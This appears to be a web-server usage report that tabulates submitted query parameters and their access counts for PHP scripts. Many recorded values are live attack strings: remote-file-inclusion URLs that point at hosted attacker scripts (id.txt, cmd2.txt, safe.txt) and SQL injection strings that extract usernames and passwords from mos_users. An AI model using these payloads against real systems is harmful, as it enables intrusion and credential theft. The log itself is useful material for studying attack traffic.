| Script | Total Accesses |
|---|---|
| /Merchant2/merchant.mv | 212,656 |
| Parameters by Submitted Value | |
| Parameter | / |
| Value | Accesses |
| 4 | |
| Parameter | !Category_Code |
| Value | Accesses |
| EF | 3 |
| Parameter | #038;Store_Code |
| Value | Accesses |
| CGTD | 1 |
| Parameter | 038;Category_Code |
| Value | Accesses |
| VID01 | 1 |
| Parameter | 038;Product_Code |
| Value | Accesses |
| CGTDVD2004 | 1 |
| Parameter | Action |
| Value | Accesses |
| ADPR | 96 |
| Parameter | Attributes |
| Value | Accesses |
| Yes | 96 |
| Parameter | Ca!tegory_Code |
| Value | Accesses |
| EF | 1 |
| Parameter | Cat!egory_Code |
| Value | Accesses |
| EF | 6 |
| Parameter | Cate |
| Value | Accesses |
| 3 | |
| OTHER: | 212,444 |
| Script | Total Accesses |
| /wusage2/summary/cgi.html//index.php | 44,290 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 362 | |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://www.marioni.info/alb2?? | 6 |
| http://albcrew.t35.com/pw.txt? | 6 |
| http://manu.freeunlimitedweb.com/id.gif??? | 5 |
| http://trieves-tourisme.fr/mini-sites/images/stories/ecuries -de-cornillon/e-com/cid.txt??? |
5 |
| http://didik.wapath.com/scripts/id.txt????? | 2 |
| http://locoputo.supergranny.ws/bot.txt? ?? | 2 |
| http://grandmalibby4u.com/galleries/extreme/on.txt? | 2 |
| http://giam.go.ro/id.txt?? | 2 |
| http://paginas.terra.com.br/lazer/xfatalzinhox/id3.txt??? | 2 |
| http://acceicc.com/uploads/idr.txt?? | 2 |
| Parameter | EQUEST[option] |
| Value | Accesses |
| option,com_comprofiler | 1 |
| Parameter | GLOBALS |
| Value | Accesses |
| 6,817 | |
| http://filicudi.t35.com/cs.txt? | 1 |
| http://www.majorna414.com/gb2.dat? | 1 |
| Parameter | GLOBALS[mosConfig_absolute_path] |
| Value | Accesses |
| http://www.mambembrincantes.com/site/safeoff.txt?? | 1 |
| ? | 1 |
| http://www.mambembrincantes.com/site/safeon.txt?? | 1 |
| Parameter | HomeDir |
| Value | Accesses |
| http://www.friendcaster.com/groups/id.txt? | 3 |
| Parameter | INCLUDE_FOLDER |
| Value | Accesses |
| http://www.codeduc.cl/components/id.txt??? | 4 |
| http://ratemypic.technophobiac.com/pics/Rfiid.txt? | 2 |
| http://www.dhammajak.net/guestbook/templates/Kamtiezid.txt? | 1 |
| http://www.manuelymar.net/rtve/uploads/id.txt??? | 1 |
| http://wildfood.co.kr/home//data/pandega.txt? | 1 |
| http://emodrago.t35.com/id.txt??? | 1 |
| http://www.yc8899.com.tw/banner/Kamtiezid.txt? | 1 |
| http://www.geocities.com/onthell/id2.txt??? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 5 | |
| Parameter | Itemid24 |
| Value | Accesses |
| 1 | |
| Parameter | Itemid2 |
| Value | Accesses |
| 1 | |
| OTHER: | 37,049 |
| Script | Total Accesses |
| //index.php | 40,306 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 670 | |
| Parameter | ?mosConfig_absolute_path |
| Value | Accesses |
| http://www.webviews.co.uk/weather/id.txt?? | 2 |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://www.jjran.com/board/skin/zero_vote/id.txt?? | 18 |
| http://www.sexery.de/prc.gif? | 17 |
| http://www.hardsecurity.org/htaccess.txt?? | 10 |
| http://trieves-tourisme.fr/mini-sites/images/stories/ecuries -de-cornillon/e-com/cid.txt??? |
8 |
| http://www.annunciora.it/images/prc.gif? | 8 |
| http://albcrew.t35.com/pw.txt? | 7 |
| http://www.marioni.info/alb2?? | 6 |
| http://manu.freeunlimitedweb.com/id.gif??? | 5 |
| http://dhcom.co.kr/zboard/id.txt?? | 5 |
| http://business-buket.ru/kx.txt?? | 4 |
| Parameter | EQUEST[option] |
| Value | Accesses |
| option,com_comprofiler | 1 |
| Parameter | GLOBALS |
| Value | Accesses |
| 5,031 | |
| http://filicudi.t35.com/cs.txt? | 1 |
| http://pwd.roietceo.net/Newsimage/on.txt? | 1 |
| http://tanbebek.com/pitik/ascid.txt??? | 1 |
| Parameter | GLOBALS[langpref] |
| Value | Accesses |
| http://www.hosernews.ca/test.txt? | 1 |
| Parameter | GLOBALS[mosConfig_absolute_path] |
| Value | Accesses |
| http://www.mambembrincantes.com/site/safeon.txt?? | 1 |
| Parameter | HomeDir |
| Value | Accesses |
| http://www.friendcaster.com/groups/id.txt? | 3 |
| Parameter | INCLUDE_FOLDER |
| Value | Accesses |
| http://www.codeduc.cl/components/id.txt??? | 8 |
| http://ratemypic.technophobiac.com/pics/Rfiid.txt? | 3 |
| http://emodrago.t35.com/id.txt??? | 2 |
| http://wildfood.co.kr/home//data/pandega.txt? | 2 |
| http://www.dhammajak.net/guestbook/templates/Kamtiezid.txt? | 1 |
| http://www.phdcursos.com.br/http/idd.txt??? | 1 |
| http://www.manuelymar.net/rtve/uploads/id.txt??? | 1 |
| http://www.geocities.com/onthell/id2.txt??? | 1 |
| http://www.yc8899.com.tw/banner/Kamtiezid.txt? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 17 | |
| 2,656 | |
| 33 | 60 |
| 27 | 22 |
| 71 | 14 |
| 1 | 14 |
| 149 | 10 |
| 27//index.php?_REQUEST= | 7 |
| 26 | 7 |
| http://www.pcr.ac.id/~rina/includes/db/alba.txt?? | 6 |
| OTHER: | 31,673 |
| Script | Total Accesses |
| /index.php | 29,095 |
| Parameters by Submitted Value | |
| Parameter | /////////?mosConfig_absolute_path |
| Value | Accesses |
| http://rafb.net/p/fZZpha10.txt? | 1 |
| Parameter | / |
| Value | Accesses |
| 10 | |
| Parameter | /?_zb_path |
| Value | Accesses |
| "zeroboard" *.ms.krhttp://www.branch340.ca/Calendar//tools/ /help/testX.txt?? |
4 |
| Parameter | /?include_path |
| Value | Accesses |
| "guestbook"http://www.gter.biz/bot.txt?? | 1 |
| Parameter | /?mosConfig_absolute_path |
| Value | Accesses |
| http://www.dito.nl/php_content/.htaccess_/test.txt?? | 1 |
| "joomla"http://www.jbwc.or.kr/bbs/skin/zero_vote/data/test. txt?? |
1 |
| Parameter | /addons/guildbank/searcharrays.php?addonDir |
| Value | Accesses |
| /guildbank/http://aceperform.890m.com/test.txt? | 1 |
| Parameter | /components/com_extcalendar/admin_events.php? |
| Value | Accesses |
| 1 | |
| Parameter |
/components/com_facileforms/facileforms.frame.php?ff_compath |
| Value | Accesses |
| http://ultradesign.ru/phpBB2/files/id.txt?? | 1 |
| Parameter | /main.php?appserv_root |
| Value | Accesses |
| "appserv"http://190.8.128.58/.../test.txt?? | 1 |
| Parameter | /skin/zero_vote/ask_password.php?dir |
| Value | Accesses |
| "zeroboard" net "zeroboard" ukhttp://h1.ripway.com/ulandary /testing.txt? |
2 |
| OTHER: | 29,071 |
| Script | Total Accesses |
| /wusage/summary/cgi.html//index.php | 28,223 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 472 | |
| http://politics.wwf.gr/help/css/faq.txt?? | 1 |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://dhcom.co.kr/zboard/id.txt?? | 5 |
| http://manu.freeunlimitedweb.com/id.gif??? | 5 |
| http://trieves-tourisme.fr/mini-sites/images/stories/ecuries -de-cornillon/e-com/cid.txt??? |
5 |
| http://albcrew.t35.com/pw.txt? | 5 |
| http://vidinas.net/templates/archzone/xml/copyright.txt?? | 4 |
| http://www.henneferkanuteam.de/apboard/info.txt???? | 3 |
| http://www.toursvieuxquebec.com/videos/l333tbi1tX.txt???? | 3 |
| http://www.stormpages.com/singa/idfeelcomz.txt?? | 3 |
| http://www.marioni.info/alb2?? | 3 |
| http://verinet.com.tr/id.txt??? | 2 |
| Parameter | Forum |
| Value | Accesses |
| NUKE | 1 |
| Parameter | GLOBALS |
| Value | Accesses |
| 3,634 | |
| http://tanbebek.com/pitik/ascid.txt??? | 1 |
| Parameter | GLOBALS[mosConfig_absolute_path] |
| Value | Accesses |
| http://www.mambembrincantes.com/site/safeon.txt?? | 1 |
| Parameter | HomeDir |
| Value | Accesses |
| http://www.friendcaster.com/groups/id.txt? | 3 |
| Parameter | INCLUDE_FOLDER |
| Value | Accesses |
| http://www.codeduc.cl/components/id.txt??? | 4 |
| http://www.yc8899.com.tw/banner/Kamtiezid.txt? | 1 |
| http://wildfood.co.kr/home//data/pandega.txt? | 1 |
| http://www.phdcursos.com.br/http/idd.txt??? | 1 |
| http://www.geocities.com/onthell/id2.txt??? | 1 |
| http://www.manuelymar.net/rtve/uploads/id.txt??? | 1 |
| http://www.dhammajak.net/guestbook/templates/Kamtiezid.txt? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 4 | |
| Parameter | Itemid24 |
| Value | Accesses |
| 1 | |
| Parameter | Itemid2 |
| Value | Accesses |
| 5 | |
| OTHER: | 24,052 |
| Script | Total Accesses |
| /wusage2/summary//index.php | 24,242 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 311 | |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://www.marioni.info/alb2?? | 6 |
| http://albcrew.t35.com/pw.txt? | 6 |
| http://manu.freeunlimitedweb.com/id.gif??? | 5 |
| http://trieves-tourisme.fr/mini-sites/images/stories/ecuries -de-cornillon/e-com/cid.txt??? |
5 |
| http://superspeedlearning.com/test.txt? | 3 |
| http://paginas.terra.com.br/lazer/xfatalzinhox/id3.txt??? | 2 |
| http://www.mahbaran.com/load/test.txt?? | 2 |
| http://giam.go.ro/id.txt?? | 2 |
| http://www.topyn.com/ips.txt? | 2 |
| http://www.ggps.ptc.edu.tw//appserv/idd.txt??? | 2 |
| Parameter | EQUEST[option] |
| Value | Accesses |
| option,com_comprofiler | 1 |
| Parameter | GLOBALS |
| Value | Accesses |
| 3,237 | |
| http://filicudi.t35.com/cs.txt? | 1 |
| Parameter | GLOBALS[langpref] |
| Value | Accesses |
| http://www.hosernews.ca/test.txt? | 1 |
| Parameter | GLOBALS[mosConfig_absolute_path] |
| Value | Accesses |
| http://www.mambembrincantes.com/site/safeon.txt?? | 1 |
| Parameter | HomeDir |
| Value | Accesses |
| http://www.friendcaster.com/groups/id.txt? | 3 |
| Parameter | INCLUDE_FOLDER |
| Value | Accesses |
| http://www.codeduc.cl/components/id.txt??? | 4 |
| http://emodrago.t35.com/id.txt??? | 2 |
| http://www.geocities.com/onthell/id2.txt??? | 1 |
| http://www.manuelymar.net/rtve/uploads/id.txt??? | 1 |
| http://ratemypic.technophobiac.com/pics/Rfiid.txt? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 6 | |
| Parameter | Itemid24 |
| Value | Accesses |
| 1 | |
| OTHER: | 20,636 |
| Script | Total Accesses |
| /wusage/summary//index.php | 20,626 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 397 | |
| Parameter | ?mosConfig_absolute_path |
| Value | Accesses |
| http://www.webviews.co.uk/weather/id.txt?? | 2 |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://www.jjran.com/board/skin/zero_vote/id.txt?? | 18 |
| http://www.sexery.de/prc.gif? | 17 |
| http://www.hardsecurity.org/htaccess.txt?? | 10 |
| http://www.annunciora.it/images/prc.gif? | 8 |
| http://trieves-tourisme.fr/mini-sites/images/stories/ecuries -de-cornillon/e-com/cid.txt??? |
5 |
| http://dhcom.co.kr/zboard/id.txt?? | 5 |
| http://albcrew.t35.com/pw.txt? | 5 |
| http://manu.freeunlimitedweb.com/id.gif??? | 5 |
| http://botid.has-the-best-website.com/v5.txt?? | 4 |
| http://business-buket.ru/kx.txt?? | 4 |
| Parameter | GLOBALS |
| Value | Accesses |
| 2,478 | |
| http://tanbebek.com/pitik/ascid.txt??? | 1 |
| Parameter | GLOBALS[langpref] |
| Value | Accesses |
| http://www.hosernews.ca/test.txt? | 1 |
| Parameter | GLOBALS[mosConfig_absolute_path] |
| Value | Accesses |
| http://www.mambembrincantes.com/site/safeon.txt?? | 1 |
| Parameter | HomeDir |
| Value | Accesses |
| http://www.friendcaster.com/groups/id.txt? | 3 |
| Parameter | INCLUDE_FOLDER |
| Value | Accesses |
| http://www.codeduc.cl/components/id.txt??? | 4 |
| http://www.geocities.com/onthell/id2.txt??? | 1 |
| http://www.manuelymar.net/rtve/uploads/id.txt??? | 1 |
| http://www.phdcursos.com.br/http/idd.txt??? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 5 | |
| Parameter | Itemid24 |
| Value | Accesses |
| 2 | |
| OTHER: | 17,648 |
| Script | Total Accesses |
| /wusage2/summary/cgi.html/index.php | 18,556 |
| Parameters by Submitted Value | |
| Parameter | |
| Value | Accesses |
| 10 | |
| http://www.kx-td.com/images/bo.do??? | 2 |
| errorhttp://h1.ripway.com/cyber1212/plugin/id.txt??? | 1 |
| http://aliaa.t35.com/ailer.txt?V | 1 |
| errorhttp://xdedzx.com/xdedzx/id.txt??? | 1 |
| connection:absolute_path=http://usuarios.arnet.com.ar/larry1 23/safe.txt? |
1 |
| Parameter | CONFIG_EXT[LANGUAGES_DIR] |
| Value | Accesses |
| http://www.bes.org.tr/imgcls/cmd2.txt????? | 2 |
| http://stmikx.freehoxt.com/Sekip/id.txt?? | 2 |
| http://stmikx.freehoxt.com/Sekip/s.txt?? | 1 |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://acceicc.com/uploads/idr.txt?? | 2 |
| http://s9.uploads.bizhat.com/dl/7a8731c00353363176cb4cf86a83 e278/48bbbd4d/944edfb2/id.txt ?? |
1 |
| http://s9.uploads.bizhat.com/dl/b8468d74d3efb9f317ad003cd83c facc/48bc0f5f/944edfb2/id.txt ?? |
1 |
| http://wtv.mathiaskarge.de//marthabotid.txt?? | 1 |
| http://spiritualcultivation.com/modules/idr.txt?? | 1 |
| http://spiritualcultivation.com/modules/idar.txt?? | 1 |
| http://spiritualcultivation.com/modules/idxx.txt????? | 1 |
| Parameter | FORM[aid] |
| Value | Accesses |
| 61 | 1 |
| Parameter | GLOBALS |
| Value | Accesses |
| 927 | |
| Parameter | HomeDir |
| Value | Accesses |
| http://darkisx.com/plugins/xoops/2fast.txt? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| 2,029 | |
| http://mosaictoronto.org/help/indexs.php? | 47 |
| 1 | 21 |
| http://www.arthog.co.uk/login/pi.txt? | 15 |
| http://www.autogas-dortmund.de/index.txt? | 9 |
| http://planetchat.altervista.org/pbot.txt??? | 7 |
| S@BUN | 7 |
| 71/index.php?_REQUEST= | 7 |
| http://politics.wwf.gr/help/css/faq.txt? | 6 |
| s@bun | 6 |
| Parameter | PHPSESSID |
| Value | Accesses |
| http://lizartdisplay.com/di?? | 1 |
| Parameter | RP_PATH |
| Value | Accesses |
| http://www.voipanywhere.pt/modules/id.txt??? | 2 |
| http://www.jjran.com/board/skin/zero_vote/id.txt?? | 2 |
| http://www.spindl-hotelpraha.cz/system/temp/control.txt? | 2 |
| http://eventtoday.com/bbs/skin/gallery_thum/safe.txt? | 2 |
| http://www.ps-mag.com/magazine/2007/10/idr.txt?? | 1 |
| http://thepornhandbook.com/templates/id.txt??? | 1 |
| http://www.jjran.com/board/skin/zero_vote/id.txt??? | 1 |
| Parameter | _REQUEST temd] |
| Value | Accesses |
| 1 | 1 |
| OTHER: | 15,431 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter |
lugin/test.txt?">
"com_shambo2"http://johnkaragiannis.gr/cms//components/com_p lugin/test.txt? |
| Value | Accesses |
| 1 | |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://s9.uploads.bizhat.com/dl/b8468d74d3efb9f317ad003cd83c facc/48bc0f5f/944edfb2/id.txt ?? |
1 |
| http://s9.uploads.bizhat.com/dl/7a8731c00353363176cb4cf86a83 e278/48bbbd4d/944edfb2/id.txt ?? |
1 |
| Parameter | Itemid |
| Value | Accesses |
| -999999/**/union/**/select/**/0,1,concat(username,0x3a,passw ord),0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mos_users |
6 |
| http://www.jjkosta.org/kbs/test.txt? | 2 |
| 87//index.php?option=com_expose | 1 |
| http://webmail.asl3.umbria.it/admin/inc/albania.txt??? | 1 |
| http://linknetcrew.com/source/robo.txt? | 1 |
| http://h1.ripway.com/hospenergy/robin/test.txt??? | 1 |
| Parameter | _REQUEST |
| Value | Accesses |
| http://spyxx.iespana.es/id.txt??? | 1 |
| Parameter | _REQUEST[option] |
| Value | Accesses |
| com_classifieds | 3 |
| http://www.ilegais.xpg.com.br/id.txt??? | 2 |
| Parameter | _zb_path |
| Value | Accesses |
| http://www.nord-radio.com//votingpoll/ids.txt???? | 2 |
| OTHER: | 15,153 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | DOCUMENT_ROOT |
| Value | Accesses |
| http://s9.uploads.bizhat.com/dl/b8468d74d3efb9f317ad003cd83c facc/48bc0f5f/944edfb2/id.txt ?? |
1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | autoLoadConfig[999][0][loadFile] |
| Value | Accesses |
| http://www.pixeloutlet.com/cart/templates_c/id.txt? | 1 |
| Parameter | canal |
| Value | Accesses |
| http://www.systel.ru/phpbb2//language/lang_german/list.txt? | 2 |
| OTHER: | 15,173 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | DOC_ROOT |
| Value | Accesses |
| http://javva.com/id.txt? | 1 |
| Parameter | GALLERY_BASEDIR |
| Value | Accesses |
| http://www.bes.org.tr/imgcls/cmd2.txt????? | 4 |
| Parameter | IMAGE |
| Value | Accesses |
| http://geocities.com/webmastersmansa/ryuk.txt?? | 2 |
| http://sf4dean.com/albums/album.jpg????? | 1 |
| http://geocities.com/golden.baba/Xtreme.txt? | 1 |
| Parameter | Itemid |
| Value | Accesses |
| S@BUN | 4 |
| OTHER: | 15,163 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| 149 | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| http://league.totalgamingnetwork.com/tgl_client/uploads/etqw contest/newfish.txt? |
3 |
| OTHER: | 15,173 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| http://www.aeromexicov.org/galeria/backups/31337.txt? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | IMAGE |
| Value | Accesses |
| http://geocities.com/snoopg_lens/mail.txt? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://m4b1.0catch.com/list/Test.txt??? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | IMAGE |
| Value | Accesses |
| http://geocities.com/hammed_4000/hammmed.txt? | 2 |
| Parameter | Itemid |
| Value | Accesses |
| 12/index.php?option=com_facileforms | 2 |
| 9 | 2 |
| OTHER: | 15,170 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | content |
| Value | Accesses |
| http://www.cerfirenze.it/images/icone/test.txt? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | IMAGE |
| Value | Accesses |
| http://www.viaconjur.com.br/manual_arquivos/y.txt? | 2 |
| http://www.hardstam.se/talkforum/cache/skin_cache/cacheid_2/ 123.txt? |
2 |
| Parameter | Itemid |
| Value | Accesses |
| -999999/**/union/**/select/**/0,1,concat(username,0x3a,passw ord),0,0,0,0,0,0,0,0,0,0,0,0,0,0/**/from/**/mos_users |
6 |
| http://league.totalgamingnetwork.com/tgl_client/uploads/etqw contest/sh.txt? |
5 |
| http://h1.ripway.com/snacks/id.txt?? | 4 |
| http://www.geocities.com/k4l0nkicc/safe.cmd.txt?? | 2 |
| OTHER: | 15,155 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | autoLoadConfig[999][0][autoType] |
| Value | Accesses |
| http://cocreation.hk/id? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| 10 | 2 |
| 46/index.php?option=com_facileforms | 2 |
| http://league.totalgamingnetwork.com/tgl_client/uploads/etqw contest/lawl.txt? |
1 |
| http://www.aeromexicov.org/galeria/backups/31337.txt? | 1 |
| OTHER: | 15,170 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| http://www.jsproduction.net/camp/read/test.txt?? | 1 |
| Parameter | _REQUEST |
| Value | Accesses |
| http://www.freewebtown.com/ppll2/romania.txt?? | 3 |
| OTHER: | 15,172 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST temd] |
| Value | Accesses |
| 1 | 5 |
| Parameter | _REQUEST |
| Value | Accesses |
| http://www.donche.net/donche.txt | 112 |
| OTHER: | 15,059 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| 1 | 56 |
| Parameter | _REQUEST |
| Value | Accesses |
| http://m4b1.0catch.com/inc/roma??? | 1 |
| Parameter | a |
| Value | Accesses |
| http://www.pnp21.co.kr/bbs/data/teszos? | 1 |
| OTHER: | 15,118 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| http://www.hotsalsazone.com/images/gallery/test.gif? | 1 |
| Parameter | RP_PATH |
| Value | Accesses |
| http://www.spindl-hotelpraha.cz/system/temp/control.txt? | 1 |
| Parameter | _REQUEST |
| Value | Accesses |
| 883 | |
| OTHER: | 14,291 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST[option] |
| Value | Accesses |
| com_docman | 3 |
| Parameter | c |
| Value | Accesses |
| http://www.rlsusa.com/test.txt?? | 1 |
| Parameter | canal |
| Value | Accesses |
| http://www.geocities.com/ntcinfo/test.txt?? | 1 |
| OTHER: | 15,171 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| http://edgcs.com/store/administrator/components/com_jcs/view s/safe.cmd.txt?? |
1 |
| Parameter | _REQUEST |
| Value | Accesses |
| http://usuarios.arnet.com.ar/adrikrasnow/test.txt? | 20 |
| http://wsteam.net/bt/var.txt? | 13 |
| OTHER: | 15,142 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| -999999/**/union/**/select/**/0,1,concat(username,0x3a,passw ord,0x3a,0x4861636B20427920436176616C657261),0,0,0,0,0,0,0,0 ,0,0,0,0,0,0/**/from/**/mos_users/allinurl |
2 |
| OTHER: | 15,174 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://golbaz.net/img/icons/php.txt? | 18 |
| OTHER: | 15,158 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | /?_zb_path |
| Value | Accesses |
| "zeroboard" *.ms.krhttp://www.branch340.ca/Calendar//tools/ /help/testX.txt?? |
4 |
| Parameter | Itemid |
| Value | Accesses |
| http://test.iearn.uz/test.iearn.uz/help.txt???? | 1 |
| Parameter | RP_PATH |
| Value | Accesses |
| http://www.jjran.com/board/skin/zero_vote/id.txt?? | 1 |
| Parameter | _zb_path |
| Value | Accesses |
| http://chicas-manga.com/images/i?? | 1 |
| OTHER: | 15,169 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://myfotoos.us/bolet.txt? | 10 |
| OTHER: | 15,166 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | RP_PATH |
| Value | Accesses |
| http://www.jjran.com/board/skin/zero_vote/id.txt??? | 1 |
| Parameter | autoLoadConfig[999][0][loadFile] |
| Value | Accesses |
| http://www.motoxclub.org.au/forum/test.txt?? | 1 |
| OTHER: | 15,174 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://www.korna.org/lamer.txt?? | 9 |
| http://www.pic-rating.com/raw.txt? | 8 |
| http://hamapallen.us/fadalinux1.txt? | 5 |
| http://www.donche.net/donche.txthttp://www.donche.net/donche .txt |
3 |
| OTHER: | 15,151 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| http://www.ar-vision.com/z.txt??? | 1 |
| OTHER: | 15,175 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://forum.toutestgratuit.org/n.txt? | 5 |
| http://hamapallen.us/fadalinux.txt?http://hamapallen.us/fada linux.txt? |
3 |
| http://201.212.0.73/safe.txt?? | 2 |
| OTHER: | 15,166 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | Itemid |
| Value | Accesses |
| http://nocsom.org/images/IDsafeon.txt??? | 1 |
| Parameter | _REQUEST[option] |
| Value | Accesses |
| com_frontpage | 16 |
| OTHER: | 15,159 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://www.saenterpriseworkshop.com/vnc/MIC22.txt?? | 2 |
| OTHER: | 15,174 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST[option] |
| Value | Accesses |
| com_glossary | 2 |
| Parameter | _config[site_path] |
| Value | Accesses |
| http://privus.host.sk/test1.txt?? | 2 |
| Parameter | cat |
| Value | Accesses |
| http://www.agapii.com/temp/idN.txt?? | 2 |
| OTHER: | 15,170 |
| Script | Total Accesses |
| /wusage/summary/cgi.html/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _REQUEST |
| Value | Accesses |
| http://hamapallen.us/ff.txt? | 4 |
| OTHER: | 15,172 |
| Script | Total Accesses |
| /wusage2/summary/index.php | 15,176 |
| Parameters by Submitted Value | |
| Parameter | _zb_path |
| Value | Accesses |
